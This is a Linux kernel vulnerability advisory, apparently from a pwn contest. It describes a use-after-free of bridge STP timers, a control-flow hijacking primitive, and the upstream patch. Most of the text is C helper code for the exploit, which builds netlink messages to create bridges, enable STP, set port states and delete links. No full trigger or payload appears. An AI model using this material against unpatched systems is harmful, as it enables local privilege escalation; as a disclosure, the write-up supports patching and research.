Summary
A use-after-free vulnerability in the Linux kernel bridge (net/bridge) Spanning Tree Protocol (STP) implementation.
A bridge that is administratively down while kernel STP is enabled, together with a port driven into the LEARNING state, arms periodic STP timers without an IFF_UP guard.
The teardown path taken by dellink never synchronously deletes those timers, so the backing net_device (which embeds struct net bridge as private data) is freed with a timer list still queued on a per-CPU timer base.
The result is a slab use-after-free in the kmalloc-cg-8k cache.
Vendor Response
A patch has been introduced to Linux – https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2a00517db8de4be7df3d483b215c5544fb30a191
Credit
Two independent security researchers, n132 and sven sze, submitted this during our TyphoonPWN 2026 and won second place in the Linux PE category.
Affected Versions
- Linux Kernel prior to patch 2a00517db8de4be7df3d483b215c5544fb30a191
Root Cause Analysis
The Linux software bridge driver maintains per-bridge STP state, including several periodic timers (hello_timer, tcn_timer, topology_change_timer, and per-port timers) that drive the STP state machine.
These timers are embedded directly inside struct net_bridge, which itself lives in the private-data region of the bridge’s net_device.
The lifetime of those timers is therefore tied to the lifetime of the net_device allocation, and any path that frees the device while a timer remains queued constitutes a use-after-free.
Vulnerability Analysis
The STP timers are armed when STP is enabled and on port state transitions, via br_stp_enable_bridge() and br_port_state_selection().
Critically, the arming path on a port driven into the LEARNING state contains no IFF_UP guard: it will arm timers on a bridge that is administratively down.
The only synchronous deletion of these timers happens in br_stp_disable_bridge(), which is reached from br_dev_stop() on an UP -> DOWN transition (i.e. from ndo_stop).
The problem is the asymmetry between two teardown paths:
ndo_stoppath: an UP -> DOWN transition runsbr_dev_stop()->br_stp_disable_bridge(), whichdel_timer_sync()‘s every STP timer. Safe.- dellink path: deleting the bridge link directly
runs br_dev_delete(), which never callsbr_stp_disable_bridge(). Moreover,unregister_netdevice_many()skipsndo_stopentirely for a device that is already DOWN.
Consequently, if a bridge is left DOWN with kernel STP enabled and a port in LEARNING, the STP timers are queued but never synchronously cancelled.
When the bridge link is deleted, the net_device backing it is free netdev()’d while a timer list is still linked into a per-CPU timer base.
The next time that timer base runs ( __run_timers() in softirq context), it dereferences and fires a timer that points into freed slab memory.
Primitive Analysis
The freed object is a net_device with the bridge’s net_bridge embedded as private data, which itself contains the STP timer_lists.
The crucial property is that these timers are still queued and will fire automatically a few seconds later: when __run_timers() runs the dangling timer, call_timer_fn() executes its function field with RDI pointing at the timer list itself.
So as long as we refill the freed slot with a buffer carrying an attacker-controlled function pointer, we obtain a control-flow hijacking primitive.
Exploit
// net.c
#include "net.h"
int bring_interface_down_up(const char* ifname, int up)
{
struct ifreq ifr = {0};
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0)
return -1;
strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
int res = ioctl(sock, SIOCGIFFLAGS, &ifr);
if (res < 0)
return -1;
if (up)
ifr.ifr_flags |= IFF_UP;
else
ifr.ifr_flags &= ~IFF_UP;
res = ioctl(sock, SIOCSIFFLAGS, &ifr);
if (res < 0)
return -1;
close(sock);
return 0;
}
int delete_root_qdisc(const char* ifname) {
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock < 0)
return -1;
struct {
struct nlmsghdr nlh;
struct tcmsg tcm;
char buf[1024];
} req = {0};
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct tcmsg));
req.nlh.nlmsg_type = RTM_DELQDISC;
req.nlh.nlmsg_flags = NLM_F_REQUEST;
req.tcm.tcm_family = AF_UNSPEC;
req.tcm.tcm_ifindex = if_nametoindex(ifname);
req.tcm.tcm_parent = 0xFFFFFFFF;
struct sockaddr_nl nladdr = {.nl_family = AF_NETLINK};
int res = sendto(sock, &req, req.nlh.nlmsg_len, 0, (struct sockaddr*)&nladdr,
sizeof(nladdr));
if (res < 0)
return -1;
close(sock);
return 0;
}
int syz_net_reset() {
const char* ifname = "lo";
if (bring_interface_down_up(ifname, 0) < 0) {
perror("bring_interface_down_up(lo, 0)");
return -1;
}
if (delete_root_qdisc(ifname) < 0) {
perror("delete_root_qdisc(lo)");
return -2;
}
if (bring_interface_down_up(ifname, 1) < 0) {
perror("bring_interface_down_up(lo, 1)");
return -3;
}
return 0;
}
void loUp(void){
int sock;
struct ifreq ifr;
// Open a socket
sock = socket(AF_INET, SOCK_DGRAM, 0);
if (sock < 0) {
perror("Socket creation failed");
exit(EXIT_FAILURE);
}
// Specify the interface (loopback in this case)
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
// Get current flags
if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) {
perror("Getting interface flags failed");
close(sock);
exit(EXIT_FAILURE);
}
// Set the interface up
ifr.ifr_flags |= IFF_UP;
// Apply the new flags
if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) {
perror("Setting interface up failed");
close(sock);
exit(EXIT_FAILURE);
}
// Close the socket
close(sock);
return ;
}
int initNL(void ){
struct if_msg if_up_msg = {
{
.nlmsg_len = 32,
.nlmsg_type = RTM_NEWLINK,
.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK,
},
{
.ifi_family = AF_UNSPEC,
.ifi_type = ARPHRD_NETROM,
.ifi_index = 1,
.ifi_flags = IFF_UP,
.ifi_change = 1,
},
};
int nl_sock_fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
FAIL_IF(nl_sock_fd < 0);
/* Enable extended ACK for detailed error messages */
int one = 1;
setsockopt(nl_sock_fd, SOL_NETLINK, NETLINK_EXT_ACK, &one, sizeof(one));
if_up_msg.ifi.ifi_index = if_nametoindex("lo");
NLMsgSend(nl_sock_fd, (struct tf_msg *)(&if_up_msg));
return nl_sock_fd;
}
void loopbackSend (void) {
struct sockaddr iaddr = { AF_INET };
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
FAIL_IF(inet_sock_fd < 0 );
FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
FAIL_IF(write(inet_sock_fd, "", 1) < 0);
close(inet_sock_fd);
}
void loopbackSendn (u64 len) {
struct sockaddr iaddr = { AF_INET };
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
FAIL_IF(inet_sock_fd < 0 );
FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
if(len < 0x2a)
len+=0x2a;
FAIL_IF(write(inet_sock_fd, "", len-0x2a) < 0);
close(inet_sock_fd);
}
void markedLoopbackSend (u32 priority) {
struct sockaddr iaddr = { AF_INET };
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
FAIL_IF(inet_sock_fd < 0 );
FAIL_IF(setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority))< 0 );
FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
FAIL_IF(write(inet_sock_fd, "", 1) < 0);
close(inet_sock_fd);
}
void loopbackSend2(u32 priority, u64 len){
struct sockaddr iaddr = { AF_INET };
int inet_sock_fd = socket(PF_INET, SOCK_DGRAM, 0);
FAIL_IF(inet_sock_fd < 0 );
FAIL_IF(setsockopt(inet_sock_fd, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority))< 0 );
FAIL_IF(connect(inet_sock_fd, &iaddr, sizeof(iaddr)) < 0 );
if(len < 0x2a)
len+=0x2a;
FAIL_IF(write(inet_sock_fd, "", len-0x2a) < 0);
close(inet_sock_fd);
}
/* Generic link operations */
#define NEWLINK_BUF_SIZE 512
struct newlink_req {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char attrbuf[NEWLINK_BUF_SIZE];
};
char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
/* IFLA_LINKINFO (nested) */
struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
li->rta_type = IFLA_LINKINFO;
li->rta_len = RTA_LENGTH(0);
/* IFLA_INFO_KIND */
li->rta_len += RTA_ALIGN(add_rtattr(
(size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));
/* IFLA_INFO_DATA (nested) */
struct rtattr *data = (struct rtattr *)((size_t)li + li->rta_len);
data->rta_type = IFLA_INFO_DATA;
data->rta_len = RTA_LENGTH(0);
/* The actual attribute */
data->rta_len += RTA_ALIGN(add_rtattr(
(size_t)data + data->rta_len, attr_type, attr_size, (char *)attr_value));
li->rta_len += RTA_ALIGN(data->rta_len);
req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
return (char *)req;
}
char * linkAdd(const char *name, const char *kind)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = 0;
/* IFLA_IFNAME */
if(name){
req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
(size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
IFLA_IFNAME, strlen(name) + 1, (char *)name));
}
/* IFLA_LINKINFO (nested) */
struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
li->rta_type = IFLA_LINKINFO;
li->rta_len = RTA_LENGTH(0);
/* IFLA_INFO_KIND */
li->rta_len += RTA_ALIGN(add_rtattr(
(size_t)li + li->rta_len, IFLA_INFO_KIND, strlen(kind) + 1, (char *)kind));
req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
return (char *)req;
}
char * linkDel(const char *name)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_DELLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
return (char *)req;
}
char * linkSet(const char *name, int up)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
req->ifi.ifi_change = IFF_UP;
req->ifi.ifi_flags = up ? IFF_UP : 0;
return (char *)req;
}
char * linkFlagsSet(const char *name, __u32 flags, __u32 mask)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
req->ifi.ifi_change = mask;
req->ifi.ifi_flags = flags;
return (char *)req;
}
char * linkMasterSet(const char *iface, const char *master)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(iface);
__u32 master_idx = if_nametoindex(master);
req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
(size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
IFLA_MASTER, sizeof(__u32), (char *)&master_idx));
return (char *)req;
}
char * linkMasterDel(const char *iface)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(iface);
__u32 master_idx = 0;
req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
(size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
IFLA_MASTER, sizeof(__u32), (char *)&master_idx));
return (char *)req;
}
char * linkMtuSet(const char *name, __u32 mtu)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
(size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
IFLA_MTU, sizeof(__u32), (char *)&mtu));
return (char *)req;
}
char * linkProtinfoSet(const char *iface, __u16 attr_type, size_t attr_size, void *attr_value)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(iface);
/* IFLA_PROTINFO (nested) */
struct rtattr *pi = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
pi->rta_type = IFLA_PROTINFO | NLA_F_NESTED;
pi->rta_len = RTA_LENGTH(0);
/* The actual attribute */
pi->rta_len += RTA_ALIGN(add_rtattr(
(size_t)pi + pi->rta_len, attr_type, attr_size, (char *)attr_value));
req->nlh.nlmsg_len += NLMSG_ALIGN(pi->rta_len);
return (char *)req;
}
/* Dummy device operations */
char * dummyAdd(const char *name)
{
return linkAdd(name, "dummy");
}
char * dummyDel(const char *name)
{
return linkDel(name);
}
char * dummySet(const char *name, int up)
{
return linkSet(name, up);
}
// bridge.h
#ifndef BRIDGE_H
#define BRIDGE_H
#include "net.h" /* includes net/if.h, rtnetlink, etc. */
#include <linux/if_bridge.h>
#define NEWLINK_BUF_SIZE 512
struct newlink_req {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
char attrbuf[NEWLINK_BUF_SIZE];
};
/** Create a new bridge interface */
char * bridgeAdd(const char *name);
/** Delete a bridge interface */
char * bridgeDel(const char *name);
/** Modify existing bridge (without NLM_F_CREATE) */
char * bridgeChange(const char *name);
/**
* Bring bridge up or down
* @param up 0=down, 1=up
*/
char * bridgeSet(const char *name, int up);
/**
* Enable/disable STP (Spanning Tree Protocol)
* @param enable 0=disable, 1=enable
*/
char * bridgeStpSet(const char *name, __u32 enable);
/**
* Enable/disable VLAN filtering
* @param enable 0=disable, 1=enable
*/
char * bridgeVlanFilterSet(const char *name, __u8 enable);
/**
* Add interface as bridge port
* @param bridge bridge interface name
* @param iface port interface name
*/
char * bridgePortAdd(const char *bridge, const char *iface);
/** Remove interface from bridge */
char * bridgePortDel(const char *iface);
/**
* Set STP path cost for port
* @param cost 1-65535, lower = preferred
*/
char * bridgePortCostSet(const char *iface, __u32 cost);
/**
* Set STP port priority
* @param priority 0-63, lower = preferred, default=32
*/
char * bridgePortPrioritySet(const char *iface, __u16 priority);
/**
* Set STP port state
* @param state BR_STATE_DISABLED=0, BR_STATE_LISTENING=1,
* BR_STATE_LEARNING=2, BR_STATE_FORWARDING=3, BR_STATE_BLOCKING=4
*/
char * bridgePortStateSet(const char *iface, __u8 state);
#endif
// net.h
#ifndef NF_H
#define NF_H
#define _GNU_SOURCE
typedef __SIZE_TYPE__ size_t;
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/netlink.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <net/if.h>
#define ELIBX 0x132
#define FAIL_IF(x) if ((x)) { \
printf("\033[0;31mFail"); \
perror(#x); \
printf("\033[0m\n"); \
exit(-ELIBX); \
}
#define FAIL(x, msg) if ((x)) { \
printf("\033[0;31mFAIL"); \
printf("%s\n",msg); \
perror(#x); \
printf("\033[0m\n"); \
exit(-ELIBX); \
}
typedef __u32 u32;
typedef struct tf_msg {
struct nlmsghdr nlh;
struct tcmsg tcm;
#define TC_DATA_LEN 0x200
char attrbuf[TC_DATA_LEN];
};
struct if_msg {
struct nlmsghdr nlh;
struct ifinfomsg ifi;
};
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
struct schedAttr {
size_t type;
size_t size;
unsigned char * ctx;
};
/* Extended ACK attribute types */
#ifndef NLMSGERR_ATTR_MSG
#define NLMSGERR_ATTR_MSG 1
#define NLMSGERR_ATTR_OFFS 2
#endif
#ifndef NETLINK_EXT_ACK
#define NETLINK_EXT_ACK 11
#endif
#ifndef NLM_F_ACK_TLVS
#define NLM_F_ACK_TLVS 0x200
#endif
static inline void NLMsgSend_interface (int sock, char *m, const char *ifname) {
struct tf_msg *ptr = (struct tf_msg *)m;
// Attach to interface
ptr->tcm.tcm_ifindex = if_nametoindex(ifname);
if (!ptr->tcm.tcm_ifindex) {
perror("if_nametoindex");
return;
}
struct {
struct nlmsghdr nh;
struct nlmsgerr ne;
char buf[0x200];
} ack;
size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
FAIL_IF(write(sock, m, len) == -1);
FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
if(ack.ne.error){
const char *ext_msg = NULL;
/* Parse extended ACK if present */
if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
size_t off = sizeof(ack.ne);
while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
if (nla->nla_type == NLMSGERR_ATTR_MSG) {
ext_msg = (char *)nla + sizeof(struct nlattr);
break;
}
off += NLA_ALIGN(nla->nla_len);
if (nla->nla_len == 0) break;
}
}
if (ext_msg)
printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
else
printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
}
}
static inline void NLMsgSend (int sock, char *m) {
struct {
struct nlmsghdr nh;
struct nlmsgerr ne;
char buf[0x200];
} ack;
size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
FAIL_IF(write(sock, m, len) == -1);
FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
if(ack.ne.error){
const char *ext_msg = NULL;
/* Parse extended ACK if present */
if (ack.nh.nlmsg_flags & NLM_F_ACK_TLVS) {
size_t off = sizeof(ack.ne);
while (off < ack.nh.nlmsg_len - sizeof(ack.nh)) {
struct nlattr *nla = (struct nlattr *)(ack.buf + off - sizeof(ack.ne));
if (nla->nla_type == NLMSGERR_ATTR_MSG) {
ext_msg = (char *)nla + sizeof(struct nlattr);
break;
}
off += NLA_ALIGN(nla->nla_len);
if (nla->nla_len == 0) break;
}
}
if (ext_msg)
printf("\033[1;33m[!] NLMsgSend error: %d (%s): %s\033[0m\n", ack.ne.error, strerror(-ack.ne.error), ext_msg);
else
printf("\033[1;33m[!] NLMsgSend error: %d (%s)\033[0m\n", ack.ne.error, strerror(-ack.ne.error));
}
}
static inline void NLMsgSend_noerr (int sock, char *m) {
struct {
struct nlmsghdr nh;
struct nlmsgerr ne;
char buf[0x200];
} ack;
size_t len = ((struct nlmsghdr *)m)->nlmsg_len;
FAIL_IF(write(sock, m, len) == -1);
FAIL_IF(read(sock , &ack, sizeof(ack)) == -1);
}
static inline void NLS(int sock, char *m) {
NLMsgSend(sock, m);
}
static inline void NLS_IF(int sock, char *m, const char *ifname) {
NLMsgSend_interface(sock, m, ifname);
}
static inline void NLS_NE(int sock, char *m) {
NLMsgSend_noerr(sock, m);
}
/* Trafic control for netlink */
static inline void init_tf_msg (struct tf_msg *m) {
// nlmsghdr
m->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(m->tcm));
m->nlh.nlmsg_type = 0; // Default Value
// We need these flags since https://elixir.bootlin.com/linux/v6.11.8/source/net/netlink/af_netlink.c#L2540
m->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
m->nlh.nlmsg_seq = 0; // Default Value
m->nlh.nlmsg_pid = 0; // Default Value
// tcmsg
m->tcm.tcm_family = PF_UNSPEC;
m->tcm.tcm_ifindex = if_nametoindex("lo");
m->tcm.tcm_handle = 0; // Default Value
m->tcm.tcm_parent = -1; // Default Value for no parent
m->tcm.tcm_info = 0; // Default Value
}
static inline unsigned short add_rtattr (unsigned long rta_addr, unsigned short type, unsigned short len, char *data) {
struct rtattr *rta = (struct rtattr *)rta_addr;
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
memcpy(RTA_DATA(rta), data, len);
return rta->rta_len;
}
// Function declarations from net.c
int bring_interface_down_up(const char* ifname, int up);
int delete_root_qdisc(const char* ifname);
int syz_net_reset(void);
void loUp(void);
int initNL(void);
void loopbackSend(void);
void loopbackSendn(u64 len);
void markedLoopbackSend(u32 priority);
void loopbackSend2(u32 priority, u64 len);
/* Generic link operations (RTM_NEWLINK/RTM_DELLINK) */
/**
* Set an attribute on an existing link via IFLA_INFO_DATA
* @param name interface name
* @param kind type: "bridge", "bond", etc.
* @param attr_type attribute type (e.g., IFLA_BOND_MODE, IFLA_BR_STP_STATE)
* @param attr_size size of attribute value
* @param attr_value pointer to attribute value
*/
char * linkAttrSet(const char *name, const char *kind, __u16 attr_type, size_t attr_size, void *attr_value);
/**
* Create a new link interface
* @param name interface name
* @param kind type: "bridge", "bond", "veth", "vlan", "dummy", etc.
*/
char * linkAdd(const char *name, const char *kind);
/** Delete any link by name */
char * linkDel(const char *name);
/** Bring any link up or down (up: 0=down, 1=up) */
char * linkSet(const char *name, int up);
/**
* Set ifi_flags on any link interface
* @param name interface name
* @param flags flags to set (e.g., IFF_BROADCAST | IFF_UP)
* @param mask which flags to change (ifi_change)
*/
char * linkFlagsSet(const char *name, __u32 flags, __u32 mask);
/** Set master interface (for bridge port / bond slave) */
char * linkMasterSet(const char *iface, const char *master);
/** Remove from master (set master to 0) */
char * linkMasterDel(const char *iface);
/** Set MTU on any link interface */
char * linkMtuSet(const char *name, __u32 mtu);
/**
* Set an attribute via IFLA_PROTINFO (for port/slave attributes)
* @param iface interface name
* @param attr_type attribute type (e.g., IFLA_BRPORT_COST, IFLA_BOND_SLAVE_PRIO)
* @param attr_size size of attribute value
* @param attr_value pointer to attribute value
*/
char * linkProtinfoSet(const char *iface, __u16 attr_type, size_t attr_size, void *attr_value);
/* Dummy device operations */
/** Create a new dummy interface */
char * dummyAdd(const char *name);
/** Delete a dummy interface */
char * dummyDel(const char *name);
/** Bring dummy up or down (up: 0=down, 1=up) */
char * dummySet(const char *name, int up);
#endif
// bridge.c
#include "bridge.h"
char * bridgeAdd(const char *name)
{
return linkAdd(name, "bridge");
}
char * bridgeDel(const char *name)
{
return linkDel(name);
}
char * bridgeSet(const char *name, int up)
{
return linkSet(name, up);
}
char * bridgeChange(const char *name)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_NEWLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_UNSPEC;
req->ifi.ifi_index = if_nametoindex(name);
/* IFLA_LINKINFO (nested) */
struct rtattr *li = (struct rtattr *)((size_t)req + req->nlh.nlmsg_len);
li->rta_type = IFLA_LINKINFO;
li->rta_len = RTA_LENGTH(0);
/* IFLA_INFO_KIND = "bridge" (nested inside IFLA_LINKINFO) */
li->rta_len += RTA_ALIGN(add_rtattr(
(size_t)li + li->rta_len, IFLA_INFO_KIND, sizeof("bridge"), "bridge"));
req->nlh.nlmsg_len += NLMSG_ALIGN(li->rta_len);
return (char *)req;
}
char * bridgePortAdd(const char *bridge, const char *iface)
{
return linkMasterSet(iface, bridge);
}
char * bridgePortDel(const char *iface)
{
return linkMasterDel(iface);
}
/* Special bridge options */
char * bridgeStpSet(const char *name, __u32 enable)
{
return linkAttrSet(name, "bridge", IFLA_BR_STP_STATE, sizeof(__u32), &enable);
}
char * bridgeVlanFilterSet(const char *name, __u8 enable)
{
return linkAttrSet(name, "bridge", IFLA_BR_VLAN_FILTERING, sizeof(__u8), &enable);
}
/* Special bridge port options */
char * bridgePortCostSet(const char *iface, __u32 cost)
{
return linkProtinfoSet(iface, IFLA_BRPORT_COST, sizeof(__u32), &cost);
}
char * bridgePortPrioritySet(const char *iface, __u16 priority)
{
return linkProtinfoSet(iface, IFLA_BRPORT_PRIORITY, sizeof(__u16), &priority);
}
char * bridgePortStateSet(const char *iface, __u8 state)
{
struct newlink_req *req = calloc(1, sizeof(struct newlink_req));
req->nlh.nlmsg_type = RTM_SETLINK;
req->nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req->nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req->ifi.ifi_family = AF_BRIDGE;
req->ifi.ifi_index = if_nametoindex(iface);
/* IFLA_PROTINFO (not nested) - hits br_set_port_state() directly */
req->nlh.nlmsg_len += NLMSG_ALIGN(add_rtattr(
(size_t)req + NLMSG_ALIGN(req->nlh.nlmsg_len),
IFLA_PROTINFO, sizeof(__u8), (char *)&state));
return (char *)req;
}